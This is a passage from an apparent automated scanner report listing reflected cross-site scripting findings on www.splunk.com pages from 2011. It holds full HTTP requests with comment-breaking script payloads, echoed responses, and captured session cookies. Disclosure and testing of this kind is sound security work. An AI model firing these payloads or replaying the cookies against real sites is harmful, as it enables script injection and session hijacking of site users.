Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>05babae2627/government/SP-CAAADSN -->
...[SNIP]...

4.561. http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/government/SP-CAAADSN

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 2eecb--><script>alert(1)</script>91a23fb9d9a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/government2eecb--><script>alert(1)</script>91a23fb9d9a/SP-CAAADSN HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:42 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:42 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>91a23fb9d9a/SP-CAAADSN -->
...[SNIP]...

4.562. http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/government/SP-CAAADSN

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b1497--><script>alert(1)</script>895ca3993cc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/government/SP-CAAADSNb1497--><script>alert(1)</script>895ca3993cc HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:15 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:15 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:15 GMT; path=/
ETag: 96811fedb7914fea2c4614aba4bb54081296944236
Last-Modified: Sat, 05 Feb 2011 22:17:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>895ca3993cc -->
...[SNIP]...

4.563. http://www.splunk.com/view/government/SP-CAAADSN [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/government/SP-CAAADSN

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 80c9f--><script>alert(1)</script>9b99d5f8108 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/government/SP-CAAADSN?80c9f--><script>alert(1)</script>9b99d5f8108=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:34 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33909

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9b99d5f8108=1 -->
...[SNIP]...

4.564. http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/it-operations-solutions/SP-CAAADSA

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 26708--><script>alert(1)</script>4587e045795 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view26708--><script>alert(1)</script>4587e045795/it-operations-solutions/SP-CAAADSA HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:37 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:37 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:37 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4587e045795/it-operations-solutions/SP-CAAADSA -->
...[SNIP]...

4.565. http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/it-operations-solutions/SP-CAAADSA

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 824e4--><script>alert(1)</script>1220702ef76 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/it-operations-solutions824e4--><script>alert(1)</script>1220702ef76/SP-CAAADSA HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:11 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>1220702ef76/SP-CAAADSA -->
...[SNIP]...

4.566. http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/it-operations-solutions/SP-CAAADSA

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload d8f10--><script>alert(1)</script>5ff377df7fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/it-operations-solutions/SP-CAAADSAd8f10--><script>alert(1)</script>5ff377df7fb HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:48 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:48 GMT; path=/
ETag: 7854d835c894accea2a869badbd1ccc81296944269
Last-Modified: Sat, 05 Feb 2011 22:17:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5ff377df7fb -->
...[SNIP]...

4.567. http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/it-operations-solutions/SP-CAAADSA

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 84e1d--><script>alert(1)</script>9156541d1aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/it-operations-solutions/SP-CAAADSA?84e1d--><script>alert(1)</script>9156541d1aa=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: ef0c0c305024f14f5eaf7be99c3522ed1296944148
Last-Modified: Sat, 05 Feb 2011 22:15:48 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 41736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9156541d1aa=1 -->
...[SNIP]...

4.568. http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/long-tail/SP-CAAAE7F

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload cad17--><script>alert(1)</script>e70873f6fc6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewcad17--><script>alert(1)</script>e70873f6fc6/long-tail/SP-CAAAE7F HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:57 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:57 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:57 GMT; path=/
ETag: 86b7379928aad6e5336a1838634d029f1296944218
Last-Modified: Sat, 05 Feb 2011 22:16:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e70873f6fc6/long-tail/SP-CAAAE7F -->
...[SNIP]...

4.569. http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/long-tail/SP-CAAAE7F

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload e7a52--><script>alert(1)</script>4d9b54343ec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/long-taile7a52--><script>alert(1)</script>4d9b54343ec/SP-CAAAE7F HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:33 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4d9b54343ec/SP-CAAAE7F -->
...[SNIP]...

4.570. http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/long-tail/SP-CAAAE7F

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 85de3--><script>alert(1)</script>3571f6545de was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

